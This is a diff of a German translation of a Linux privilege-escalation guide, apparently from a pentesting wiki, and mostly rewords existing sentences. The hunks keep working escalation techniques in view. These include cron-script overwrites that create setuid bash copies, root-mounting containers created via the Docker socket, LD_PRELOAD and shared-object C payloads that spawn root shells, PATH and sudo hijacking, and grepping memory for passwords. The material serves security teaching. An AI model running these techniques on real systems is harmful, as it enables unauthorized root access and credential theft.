@ -188,8 +188,8 @@ Denken Sie jedoch daran, dass **Sie als regulärer Benutzer den Speicher der Pro
>
> - **kernel.yama.ptrace_scope = 0**: Alle Prozesse können debuggt werden, solange sie die gleiche UID haben. Dies ist die klassische Art, wie ptracing funktionierte.
> - **kernel.yama.ptrace_scope = 1**: Nur ein übergeordneter Prozess kann debuggt werden.
> - **kernel.yama.ptrace_scope = 2**: Nur der Administrator kann ptrace verwenden, da dies die CAP_SYS_PTRACE-Fähigkeit erfordert.
> - **kernel.yama.ptrace_scope = 3**: Es dürfen keine Prozesse mit ptrace verfolgt werden. Ein Neustart ist erforderlich, um das ptracing wieder zu aktivieren, sobald es festgelegt ist.
> - **kernel.yama.ptrace_scope = 2**: Nur der Administrator kann ptrace verwenden, da dies die CAP_SYS_PTRACE-Berechtigung erfordert.
> - **kernel.yama.ptrace_scope = 3**: Es dürfen keine Prozesse mit ptrace verfolgt werden. Nach der Einstellung ist ein Neustart erforderlich, um das ptracing wieder zu aktivieren.
#### GDB
@ -230,14 +230,14 @@ rm $1*.bin
```
#### /dev/mem
`/dev/mem` bietet Zugriff auf den **physischen** Speicher des Systems, nicht auf den virtuellen Speicher. Der virtuelle Adressraum des Kernels kann über /dev/kmem zugegriffen werden.\
`/dev/mem` bietet Zugriff auf den **physischen** Speicher des Systems, nicht auf den virtuellen Speicher. Der virtuelle Adressraum des Kernels kann mit /dev/kmem zugegriffen werden.\
Typischerweise ist `/dev/mem` nur für **root** und die **kmem**-Gruppe lesbar.
```
strings /dev/mem -n10 | grep -i PASS
```
### ProcDump für Linux
ProcDump ist eine Neuinterpretation des klassischen ProcDump-Tools aus der Sysinternals-Suite von Tools für Windows. Erhalten Sie es unter [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
ProcDump ist eine Neuinterpretation des klassischen ProcDump-Tools aus der Sysinternals-Suite für Windows. Erhalten Sie es unter [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
```
procdump -p 1714
@ -348,9 +348,9 @@ Lesen Sie die folgende Seite für weitere Tricks zur Ausnutzung von Wildcards:
wildcards-spare-tricks.md
{{#endref}}
### Cron-Skript Überschreibung und Symlink
### Cron-Skript-Überschreibung und Symlink
Wenn Sie **ein Cron-Skript ändern können**, das von root ausgeführt wird, können Sie sehr einfach eine Shell erhalten:
Wenn Sie **ein Cron-Skript, das von root ausgeführt wird, ändern können**, können Sie sehr einfach eine Shell erhalten:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
@ -372,7 +372,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
### Unsichtbare Cron-Jobs
Es ist möglich, einen Cronjob **ein Wagenrücklaufzeichen nach einem Kommentar hinzuzufügen** (ohne Zeilenumbruchzeichen), und der Cronjob wird funktionieren. Beispiel (beachten Sie das Wagenrücklaufzeichen):
Es ist möglich, einen Cron-Job **ein Wagenrücklaufzeichen nach einem Kommentar hinzuzufügen** (ohne Zeilenumbruchzeichen), und der Cron-Job wird funktionieren. Beispiel (beachten Sie das Wagenrücklaufzeichen):
```bash
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
```
@ -421,7 +421,7 @@ In der Dokumentation können Sie lesen, was die Einheit ist:
> Die Einheit, die aktiviert werden soll, wenn dieser Timer abläuft. Das Argument ist ein Einheitsname, dessen Suffix nicht ".timer" ist. Wenn nicht angegeben, wird dieser Wert standardmäßig auf einen Dienst gesetzt, der denselben Namen wie die Timer-Einheit hat, mit Ausnahme des Suffixes. (Siehe oben.) Es wird empfohlen, dass der aktivierte Einheitsname und der Einheitsname der Timer-Einheit identisch benannt sind, mit Ausnahme des Suffixes.
Daher müssten Sie, um diese Berechtigung auszunutzen:
Um diese Berechtigung auszunutzen, müssten Sie daher:
- Eine systemd-Einheit (wie eine `.service`) finden, die **eine beschreibbare Binärdatei ausführt**
- Eine systemd-Einheit finden, die **einen relativen Pfad ausführt** und über **schreibbare Berechtigungen** über den **systemd PATH** verfügt (um diese ausführbare Datei zu impersonifizieren)
@ -430,7 +430,7 @@ Daher müssten Sie, um diese Berechtigung auszunutzen:
### **Timer aktivieren**
Um einen Timer zu aktivieren, benötigen Sie Root-Rechte und müssen Folgendes ausführen:
Um einen Timer zu aktivieren, benötigen Sie Root-Rechte und müssen ausführen:
```bash
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
@ -439,17 +439,17 @@ Beachten Sie, dass der **Timer** durch das Erstellen eines Symlinks zu ihm in `/
## Sockets
Unix Domain Sockets (UDS) ermöglichen die **Prozesskommunikation** auf denselben oder verschiedenen Maschinen innerhalb von Client-Server-Modellen. Sie nutzen standardmäßige Unix-Beschreibungsdateien für die intercomputerliche Kommunikation und werden über `.socket`-Dateien eingerichtet.
Unix-Domain-Sockets (UDS) ermöglichen die **Prozesskommunikation** auf denselben oder unterschiedlichen Maschinen innerhalb von Client-Server-Modellen. Sie nutzen standardmäßige Unix-Descriptor-Dateien für die intercomputerliche Kommunikation und werden über `.socket`-Dateien eingerichtet.
Sockets können mit `.socket`-Dateien konfiguriert werden.
**Erfahren Sie mehr über Sockets mit `man systemd.socket`.** In dieser Datei können mehrere interessante Parameter konfiguriert werden:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Diese Optionen sind unterschiedlich, aber eine Zusammenfassung wird verwendet, um **anzuzeigen, wo es auf den Socket hören wird** (der Pfad der AF_UNIX-Socket-Datei, die IPv4/6 und/oder Portnummer, auf die gehört werden soll, usw.)
- `Accept`: Nimmt ein boolesches Argument. Wenn **wahr**, wird für jede eingehende Verbindung eine **Service-Instanz erstellt** und nur der Verbindungs-Socket wird an sie übergeben. Wenn **falsch**, werden alle hörenden Sockets selbst an die gestartete Serviceeinheit **übergeben**, und es wird nur eine Serviceeinheit für alle Verbindungen erstellt. Dieser Wert wird für Datagram-Sockets und FIFOs ignoriert, bei denen eine einzelne Serviceeinheit bedingungslos den gesamten eingehenden Verkehr verarbeitet. **Standardmäßig auf falsch**. Aus Leistungsgründen wird empfohlen, neue Daemons nur so zu schreiben, dass sie für `Accept=no` geeignet sind.
- `ExecStartPre`, `ExecStartPost`: Nimmt eine oder mehrere Befehlszeilen, die **vor** oder **nach** dem Erstellen und Binden der hörenden **Sockets**/FIFOs **ausgeführt** werden. Das erste Token der Befehlszeile muss ein absoluter Dateiname sein, gefolgt von Argumenten für den Prozess.
- `ExecStopPre`, `ExecStopPost`: Zusätzliche **Befehle**, die **vor** oder **nach** dem Schließen und Entfernen der hörenden **Sockets**/FIFOs **ausgeführt** werden.
- `Service`: Gibt den Namen der **Service**-Einheit an, die bei **eingehendem Verkehr** **aktiviert** werden soll. Diese Einstellung ist nur für Sockets mit Accept=no zulässig. Sie wird standardmäßig auf den Service gesetzt, der denselben Namen wie der Socket trägt (mit dem Suffix ersetzt). In den meisten Fällen sollte es nicht notwendig sein, diese Option zu verwenden.
- `Accept`: Nimmt ein boolesches Argument. Wenn **wahr**, wird für jede eingehende Verbindung eine **Service-Instanz erstellt** und nur der Verbindungs-Socket wird an sie übergeben. Wenn **falsch**, werden alle hörenden Sockets selbst an die gestartete Serviceeinheit **übergeben**, und es wird nur eine Serviceeinheit für alle Verbindungen erstellt. Dieser Wert wird für Datagram-Sockets und FIFOs ignoriert, bei denen eine einzelne Serviceeinheit bedingungslos den gesamten eingehenden Verkehr verarbeitet. **Standardmäßig auf falsch.** Aus Leistungsgründen wird empfohlen, neue Daemons nur so zu schreiben, dass sie für `Accept=no` geeignet sind.
- `ExecStartPre`, `ExecStartPost`: Nimmt eine oder mehrere Befehlszeilen, die **vor** oder **nachdem** die hörenden **Sockets**/FIFOs **erstellt** und gebunden wurden, **ausgeführt** werden. Das erste Token der Befehlszeile muss ein absoluter Dateiname sein, gefolgt von Argumenten für den Prozess.
- `ExecStopPre`, `ExecStopPost`: Zusätzliche **Befehle**, die **vor** oder **nachdem** die hörenden **Sockets**/FIFOs **geschlossen** und entfernt wurden, **ausgeführt** werden.
- `Service`: Gibt den Namen der **Service**-Einheit an, die **bei eingehendem Verkehr aktiviert** werden soll. Diese Einstellung ist nur für Sockets mit Accept=no zulässig. Sie wird standardmäßig auf den Service gesetzt, der denselben Namen wie der Socket trägt (mit dem Suffix ersetzt). In den meisten Fällen sollte es nicht notwendig sein, diese Option zu verwenden.
### Schreibbare .socket-Dateien
@ -485,7 +485,7 @@ Beachten Sie, dass es einige **Sockets geben kann, die auf HTTP**-Anfragen höre
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
Wenn der Socket **mit einer HTTP**-Anfrage antwortet, können Sie **mit ihm kommunizieren** und möglicherweise **eine Schwachstelle ausnutzen**.
Wenn der Socket **mit einer HTTP**-Anfrage **antwortet**, können Sie **mit ihm kommunizieren** und möglicherweise **eine Schwachstelle ausnutzen**.
### Schreibbarer Docker-Socket
@ -510,7 +510,7 @@ In Fällen, in denen die Docker-CLI nicht verfügbar ist, kann der Docker-Socket
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
```
2. **Einen Container erstellen:** Senden Sie eine Anfrage zur Erstellung eines Containers, der das Root-Verzeichnis des Host-Systems einbindet.
2. **Einen Container erstellen:** Senden Sie eine Anfrage, um einen Container zu erstellen, der das Root-Verzeichnis des Host-Systems einbindet.
```bash
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
@ -562,9 +562,9 @@ runc-privilege-escalation.md
## **D-Bus**
D-Bus ist ein ausgeklügeltes **Inter-Process Communication (IPC) System**, das es Anwendungen ermöglicht, effizient zu interagieren und Daten auszutauschen. Es wurde mit dem modernen Linux-System im Hinterkopf entwickelt und bietet ein robustes Framework für verschiedene Formen der Anwendungskommunikation.
D-Bus ist ein ausgeklügeltes **Inter-Process Communication (IPC)-System**, das es Anwendungen ermöglicht, effizient zu interagieren und Daten auszutauschen. Es wurde mit dem modernen Linux-System im Hinterkopf entwickelt und bietet ein robustes Framework für verschiedene Formen der Anwendungskommunikation.
Das System ist vielseitig und unterstützt grundlegendes IPC, das den Datenaustausch zwischen Prozessen verbessert, ähnlich wie **erweiterte UNIX-Domänensockets**. Darüber hinaus hilft es beim Broadcasten von Ereignissen oder Signalen, was eine nahtlose Integration zwischen den Systemkomponenten fördert. Zum Beispiel kann ein Signal von einem Bluetooth-Daemon über einen eingehenden Anruf einen Musikplayer dazu bringen, sich stummzuschalten, was die Benutzererfahrung verbessert. Darüber hinaus unterstützt D-Bus ein Remote-Objektsystem, das Serviceanfragen und Methodenaufrufe zwischen Anwendungen vereinfacht und Prozesse optimiert, die traditionell komplex waren.
Das System ist vielseitig und unterstützt grundlegende IPC, die den Datenaustausch zwischen Prozessen verbessert, ähnlich wie **erweiterte UNIX-Domänensockets**. Darüber hinaus hilft es beim Broadcasten von Ereignissen oder Signalen, was eine nahtlose Integration zwischen den Systemkomponenten fördert. Beispielsweise kann ein Signal von einem Bluetooth-Daemon über einen eingehenden Anruf einen Musikplayer dazu bringen, sich stummzuschalten, was das Benutzererlebnis verbessert. Darüber hinaus unterstützt D-Bus ein Remote-Objektsystem, das Serviceanfragen und Methodenaufrufe zwischen Anwendungen vereinfacht und Prozesse optimiert, die traditionell komplex waren.
D-Bus arbeitet nach einem **Erlauben/Verweigern-Modell**, das die Nachrichtenberechtigungen (Methodenaufrufe, Signalübertragungen usw.) basierend auf der kumulativen Wirkung übereinstimmender Richtlinienregeln verwaltet. Diese Richtlinien spezifizieren Interaktionen mit dem Bus und können möglicherweise eine Privilegieneskalation durch die Ausnutzung dieser Berechtigungen ermöglichen.
@ -614,7 +614,7 @@ lsof -i
```
### Offene Ports
Überprüfen Sie immer die Netzwerkdienste, die auf der Maschine ausgeführt werden, mit der Sie zuvor nicht interagieren konnten, bevor Sie darauf zugreifen:
Überprüfen Sie immer die Netzwerkdienste, die auf der Maschine laufen, mit der Sie zuvor nicht interagieren konnten, bevor Sie darauf zugreifen:
```bash
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
@ -629,7 +629,7 @@ timeout 1 tcpdump
### Generische Aufzählung
Überprüfen Sie **wer** Sie sind, welche **Berechtigungen** Sie haben, welche **Benutzer** im System sind, welche sich **anmelden** können und welche **Root-Berechtigungen** haben:
Überprüfen Sie **wer** Sie sind, welche **Befugnisse** Sie haben, welche **Benutzer** im System sind, welche sich **anmelden** können und welche **Root-Rechte** haben:
```bash
#Info about me
id || (whoami && groups) 2>/dev/null
@ -698,7 +698,7 @@ Wenn Sie feststellen, dass Sie **in einen Ordner des $PATH** schreiben können,
### SUDO und SUID
Es könnte Ihnen erlaubt sein, einen bestimmten Befehl mit sudo auszuführen, oder sie könnten das SUID-Bit haben. Überprüfen Sie dies mit:
Es könnte Ihnen erlaubt sein, einige Befehle mit sudo auszuführen oder sie könnten das SUID-Bit haben. Überprüfen Sie dies mit:
```bash
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
@ -757,7 +757,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files
### Sudo-Befehl/SUID-Binärdatei ohne Befehls-Pfad
Wenn die **sudo-Berechtigung** für einen einzelnen Befehl **ohne Angabe des Pfades** gewährt wird: _hacker10 ALL= (root) less_, kannst du dies ausnutzen, indem du die PATH-Variable änderst.
Wenn die **sudo-Berechtigung** für einen einzelnen Befehl **ohne Angabe des Pfades** erteilt wird: _hacker10 ALL= (root) less_, kannst du dies ausnutzen, indem du die PATH-Variable änderst.
```bash
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
@ -769,7 +769,7 @@ Diese Technik kann auch verwendet werden, wenn eine **suid**-Binärdatei **einen
### SUID-Binärdatei mit Befehls-Pfad
Wenn die **suid**-Binärdatei **einen anderen Befehl unter Angabe des Pfades ausführt**, können Sie versuchen, eine **Funktion** zu exportieren, die den Namen des Befehls trägt, den die suid-Datei aufruft.
Wenn die **suid**-Binärdatei **einen anderen Befehl unter Angabe des Pfades ausführt**, können Sie versuchen, eine **Funktion zu exportieren**, die den Namen des Befehls trägt, den die suid-Datei aufruft.
Zum Beispiel, wenn eine suid-Binärdatei _**/usr/sbin/service apache2 start**_ aufruft, müssen Sie versuchen, die Funktion zu erstellen und sie zu exportieren:
```bash
@ -784,10 +784,10 @@ Die **LD_PRELOAD**-Umgebungsvariable wird verwendet, um eine oder mehrere gemein
Um jedoch die Systemsicherheit aufrechtzuerhalten und zu verhindern, dass diese Funktion ausgenutzt wird, insbesondere bei **suid/sgid**-Ausführungen, setzt das System bestimmte Bedingungen durch:
- Der Loader ignoriert **LD_PRELOAD** für Ausführungen, bei denen die echte Benutzer-ID (_ruid_) nicht mit der effektiven Benutzer-ID (_euid_) übereinstimmt.
- Für Ausführungen mit suid/sgid werden nur Bibliotheken in Standardpfaden, die ebenfalls suid/sgid sind, vorab geladen.
- Der Loader ignoriert **LD_PRELOAD** für ausführbare Dateien, bei denen die echte Benutzer-ID (_ruid_) nicht mit der effektiven Benutzer-ID (_euid_) übereinstimmt.
- Für ausführbare Dateien mit suid/sgid werden nur Bibliotheken in Standardpfaden, die ebenfalls suid/sgid sind, vorab geladen.
Eine Privilegieneskalation kann auftreten, wenn Sie die Möglichkeit haben, Befehle mit `sudo` auszuführen und die Ausgabe von `sudo -l` die Aussage **env_keep+=LD_PRELOAD** enthält. Diese Konfiguration ermöglicht es, dass die **LD_PRELOAD**-Umgebungsvariable bestehen bleibt und auch erkannt wird, wenn Befehle mit `sudo` ausgeführt werden, was potenziell zur Ausführung beliebigen Codes mit erhöhten Rechten führen kann.
Eine Privilegieneskalation kann auftreten, wenn Sie die Möglichkeit haben, Befehle mit `sudo` auszuführen und die Ausgabe von `sudo -l` die Aussage **env_keep+=LD_PRELOAD** enthält. Diese Konfiguration ermöglicht es, dass die **LD_PRELOAD**-Umgebungsvariable bestehen bleibt und erkannt wird, selbst wenn Befehle mit `sudo` ausgeführt werden, was potenziell zur Ausführung von beliebigem Code mit erhöhten Rechten führen kann.
```
Defaults env_keep += LD_PRELOAD
```
@ -809,12 +809,12 @@ Dann **kompiliere es** mit:
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```
Schließlich, **Privilegien erhöhen** durch Ausführen
Schließlich, **Privilegien eskalieren** durch Ausführen
```bash
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
```
> [!CAUTION]
> Ein ähnlicher Privilegienausstieg kann missbraucht werden, wenn der Angreifer die **LD_LIBRARY_PATH** Umgebungsvariable kontrolliert, da er den Pfad kontrolliert, in dem nach Bibliotheken gesucht wird.
> Eine ähnliche Privilegieneskalation kann ausgenutzt werden, wenn der Angreifer die **LD_LIBRARY_PATH**-Umgebungsvariable kontrolliert, da er den Pfad kontrolliert, in dem nach Bibliotheken gesucht wird.
```c
#include <stdio.h>
#include <stdlib.h>
@ -842,7 +842,7 @@ strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
```
Zum Beispiel deutet das Auftreten eines Fehlers wie _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ auf ein potenzielles Exploitationsrisiko hin.
Um dies auszunutzen, würde man fortfahren, eine C-Datei zu erstellen, sagen wir _"/path/to/.config/libcalc.c"_, die den folgenden Code enthält:
Um dies auszunutzen, würde man fortfahren, indem man eine C-Datei erstellt, sagen wir _"/path/to/.config/libcalc.c"_, die den folgenden Code enthält:
```c
#include <stdio.h>
#include <stdlib.h>
@ -853,7 +853,7 @@ void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```
Dieser Code, einmal kompiliert und ausgeführt, zielt darauf ab, die Berechtigungen zu erhöhen, indem er Dateiberechtigungen manipuliert und eine Shell mit erhöhten Berechtigungen ausführt.
Dieser Code zielt darauf ab, die Berechtigungen zu erhöhen, indem er die Dateiberechtigungen manipuliert und eine Shell mit erhöhten Berechtigungen ausführt, sobald er kompiliert und ausgeführt wird.
Kompilieren Sie die obige C-Datei in eine Shared Object (.so) Datei mit:
```bash
@ -934,12 +934,12 @@ bash exploit.sh
/tmp/activate_sudo_token
sudo su
```
- Der **zweite Exploit** (`exploit_v2.sh`) erstellt eine sh-Shell in _/tmp_, **die von root mit setuid besessen wird**.
- Der **zweite Exploit** (`exploit_v2.sh`) wird eine sh-Shell in _/tmp_ **erstellen, die von root mit setuid besessen wird**
```bash
bash exploit_v2.sh
/tmp/sh -p
```
- Der **dritte Exploit** (`exploit_v3.sh`) wird eine **sudoers-Datei erstellen**, die **sudo-Token ewig macht und allen Benutzern die Verwendung von sudo erlaubt**
- Der **dritte Exploit** (`exploit_v3.sh`) wird eine **sudoers-Datei erstellen**, die **sudo-Token ewig macht und allen Benutzern die Verwendung von sudo erlaubt**.
```bash
bash exploit_v3.sh
sudo su
@ -954,7 +954,7 @@ Wenn Sie beispielsweise die Datei _/var/run/sudo/ts/sampleuser_ überschreiben k
### /etc/sudoers, /etc/sudoers.d
Die Datei `/etc/sudoers` und die Dateien in `/etc/sudoers.d` konfigurieren, wer `sudo` verwenden kann und wie. Diese Dateien **können standardmäßig nur von Benutzer root und Gruppe root gelesen werden**.\
**Wenn** Sie diese Datei **lesen** können, könnten Sie in der Lage sein, **einige interessante Informationen zu erhalten**, und wenn Sie **irgendeine Datei schreiben** können, werden Sie in der Lage sein, **Privilegien zu eskalieren**.
**Wenn** Sie diese Datei **lesen** können, könnten Sie in der Lage sein, **interessante Informationen zu erhalten**, und wenn Sie eine Datei **schreiben** können, werden Sie in der Lage sein, **Privilegien zu eskalieren**.
```bash
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
@ -979,9 +979,9 @@ permit nopass demo as root cmd vim
```
### Sudo Hijacking
Wenn Sie wissen, dass ein **Benutzer normalerweise eine Maschine verbindet und `sudo`** verwendet, um Privilegien zu eskalieren, und Sie haben eine Shell im Kontext dieses Benutzers erhalten, können Sie **eine neue sudo ausführbare Datei erstellen**, die Ihren Code als root ausführt und dann den Befehl des Benutzers. Dann **ändern Sie den $PATH** des Benutzerkontexts (zum Beispiel, indem Sie den neuen Pfad in .bash_profile hinzufügen), sodass, wenn der Benutzer sudo ausführt, Ihre sudo ausführbare Datei ausgeführt wird.
Wenn Sie wissen, dass ein **Benutzer normalerweise eine Verbindung zu einer Maschine herstellt und `sudo`** verwendet, um Berechtigungen zu eskalieren, und Sie haben eine Shell im Kontext dieses Benutzers erhalten, können Sie **eine neue sudo ausführbare Datei erstellen**, die Ihren Code als root ausführt und dann den Befehl des Benutzers. Dann **ändern Sie den $PATH** des Benutzerkontexts (zum Beispiel, indem Sie den neuen Pfad in .bash_profile hinzufügen), sodass, wenn der Benutzer sudo ausführt, Ihre sudo ausführbare Datei ausgeführt wird.
Beachten Sie, dass Sie, wenn der Benutzer eine andere Shell (nicht bash) verwendet, andere Dateien ändern müssen, um den neuen Pfad hinzuzufügen. Zum Beispiel [sudo-piggyback](https://github.com/APTy/sudo-piggyback) ändert `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Sie finden ein weiteres Beispiel in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
Beachten Sie, dass Sie, wenn der Benutzer eine andere Shell (nicht bash) verwendet, andere Dateien ändern müssen, um den neuen Pfad hinzuzufügen. Zum Beispiel [sudo-piggyback](https://github.com/APTy/sudo-piggyback) ändert `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Sie können ein weiteres Beispiel in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) finden.
Oder etwas wie:
```bash
@ -1048,7 +1048,7 @@ execve(file,argv,0);
```
## Fähigkeiten
Linux-Fähigkeiten bieten eine **Teilmenge der verfügbaren Root-Rechte für einen Prozess**. Dies zerlegt effektiv die Root-**Rechte in kleinere und unterscheidbare Einheiten**. Jede dieser Einheiten kann dann unabhängig an Prozesse vergeben werden. Auf diese Weise wird die vollständige Menge an Rechten reduziert, was die Risiken einer Ausnutzung verringert.\
Linux-Fähigkeiten bieten eine **Teilmenge der verfügbaren Root-Rechte für einen Prozess**. Dies zerlegt effektiv die Root-**Rechte in kleinere und unterscheidbare Einheiten**. Jede dieser Einheiten kann dann unabhängig Prozessen gewährt werden. Auf diese Weise wird das gesamte Set an Rechten reduziert, was die Risiken einer Ausnutzung verringert.\
Lesen Sie die folgende Seite, um **mehr über Fähigkeiten und deren Missbrauch zu erfahren**:
{{#ref}}
@ -1058,7 +1058,7 @@ linux-capabilities.md
## Verzeichnisberechtigungen
In einem Verzeichnis impliziert das **Bit für "ausführen"**, dass der betroffene Benutzer in den Ordner "**cd**" wechseln kann.\
Das **"lesen"**-Bit impliziert, dass der Benutzer die **Dateien** auflisten kann, und das **"schreiben"**-Bit impliziert, dass der Benutzer **löschen** und **neue Dateien** **erstellen** kann.
Das **"lesen"**-Bit impliziert, dass der Benutzer die **Dateien** **auflisten** kann, und das **"schreiben"**-Bit impliziert, dass der Benutzer **löschen** und **neue Dateien** **erstellen** kann.
## ACLs
@ -1078,7 +1078,7 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
## Offene Shell-Sitzungen
In **alten Versionen** können Sie **Shell**-Sitzungen eines anderen Benutzers (**root**) **übernehmen**.\
In **neueren Versionen** können Sie sich nur mit Screen-Sitzungen Ihres **eigenen Benutzers** **verbinden**. Sie könnten jedoch **interessante Informationen innerhalb der Sitzung** finden.
In **neueren Versionen** können Sie nur zu Screen-Sitzungen Ihres **eigenen Benutzers** **verbinden**. Sie könnten jedoch **interessante Informationen innerhalb der Sitzung** finden.
### Übernahme von Screen-Sitzungen
@ -1124,7 +1124,7 @@ Check **Valentine box from HTB** for an example.
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
Alle SSL- und SSH-Schlüssel, die auf Debian-basierten Systemen (Ubuntu, Kubuntu usw.) zwischen September 2006 und dem 13. Mai 2008 generiert wurden, könnten von diesem Fehler betroffen sein.\
Dieser Fehler tritt auf, wenn ein neuer SSH-Schlüssel in diesen Betriebssystemen erstellt wird, da **nur 32.768 Variationen möglich waren**. Das bedeutet, dass alle Möglichkeiten berechnet werden können und **wenn Sie den SSH-Öffentlichen Schlüssel haben, können Sie nach dem entsprechenden privaten Schlüssel suchen**. Die berechneten Möglichkeiten finden Sie hier: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
Dieser Fehler tritt auf, wenn ein neuer SSH-Schlüssel in diesen Betriebssystemen erstellt wird, da **nur 32.768 Variationen möglich waren**. Das bedeutet, dass alle Möglichkeiten berechnet werden können und **wenn man den SSH-Öffentlichen Schlüssel hat, kann man nach dem entsprechenden privaten Schlüssel suchen**. Die berechneten Möglichkeiten finden Sie hier: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
### SSH Interessante Konfigurationswerte
@ -1173,7 +1173,7 @@ ssh-forward-agent-exploitation.md
### Profil-Dateien
Die Datei `/etc/profile` und die Dateien unter `/etc/profile.d/` sind **Skripte, die ausgeführt werden, wenn ein Benutzer eine neue Shell startet**. Daher können Sie, wenn Sie **eine von ihnen schreiben oder ändern können, Privilegien eskalieren**.
Die Datei `/etc/profile` und die Dateien unter `/etc/profile.d/` sind **Skripte, die ausgeführt werden, wenn ein Benutzer eine neue Shell startet**. Daher, wenn Sie **eine von ihnen schreiben oder ändern können, können Sie Privilegien eskalieren**.
```bash
ls -l /etc/profile /etc/profile.d/
```
@ -1221,7 +1221,7 @@ Sie sollten überprüfen, ob Sie **in einige sensible Dateien schreiben können*
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
```
Wenn die Maschine beispielsweise einen **tomcat**-Server ausführt und Sie die **Tomcat-Dienstkonfigurationsdatei in /etc/systemd/** ändern können, dann können Sie die Zeilen ändern:
Wenn die Maschine beispielsweise einen **tomcat**-Server ausführt und Sie **die Tomcat-Dienstkonfigurationsdatei in /etc/systemd/ ändern können,** dann können Sie die Zeilen ändern:
```
ExecStart=/path/to/backdoor
User=root
@ -1235,7 +1235,7 @@ Die folgenden Ordner können Backups oder interessante Informationen enthalten:
```bash
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
```
### Seltsame Orte/Besitzene Dateien
### Seltsame Orte/Besitzdateien
```bash
#root owned files in /home folders
find /home -user root 2>/dev/null
@ -1287,12 +1287,12 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
### Bekannte Dateien mit Passwörtern
Lesen Sie den Code von [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), er sucht nach **mehreren möglichen Dateien, die Passwörter enthalten könnten**.\
**Ein weiteres interessantes Tool**, das Sie dafür verwenden können, ist: [**LaZagne**](https://github.com/AlessandroZ/LaZagne), eine Open-Source-Anwendung, die verwendet wird, um viele Passwörter abzurufen, die auf einem lokalen Computer für Windows, Linux und Mac gespeichert sind.
**Ein weiteres interessantes Tool**, das Sie dafür verwenden können, ist: [**LaZagne**](https://github.com/AlessandroZ/LaZagne), das eine Open-Source-Anwendung ist, um viele Passwörter abzurufen, die auf einem lokalen Computer für Windows, Linux und Mac gespeichert sind.
### Protokolle
Wenn Sie Protokolle lesen können, könnten Sie **interessante/vertrauliche Informationen darin finden**. Je seltsamer das Protokoll ist, desto interessanter wird es sein (wahrscheinlich).\
Außerdem können einige "**schlecht**" konfigurierte (backdoored?) **Audit-Protokolle** es Ihnen ermöglichen, **Passwörter** in Audit-Protokollen aufzuzeichnen, wie in diesem Beitrag erklärt: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
Außerdem könnten einige "**schlecht**" konfigurierte (backdoored?) **Audit-Protokolle** es Ihnen ermöglichen, **Passwörter** in den Audit-Protokollen aufzuzeichnen, wie in diesem Beitrag erklärt: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
@ -1319,7 +1319,7 @@ Ich werde hier nicht auflisten, wie man all dies macht, aber wenn Sie interessie
### Python library hijacking
Wenn Sie wissen, **woher** ein Python-Skript ausgeführt wird und Sie **in diesen Ordner schreiben können** oder **Python-Bibliotheken modifizieren können**, können Sie die OS-Bibliothek modifizieren und einen Backdoor einfügen (wenn Sie dort schreiben können, wo das Python-Skript ausgeführt wird, kopieren und fügen Sie die os.py-Bibliothek ein).
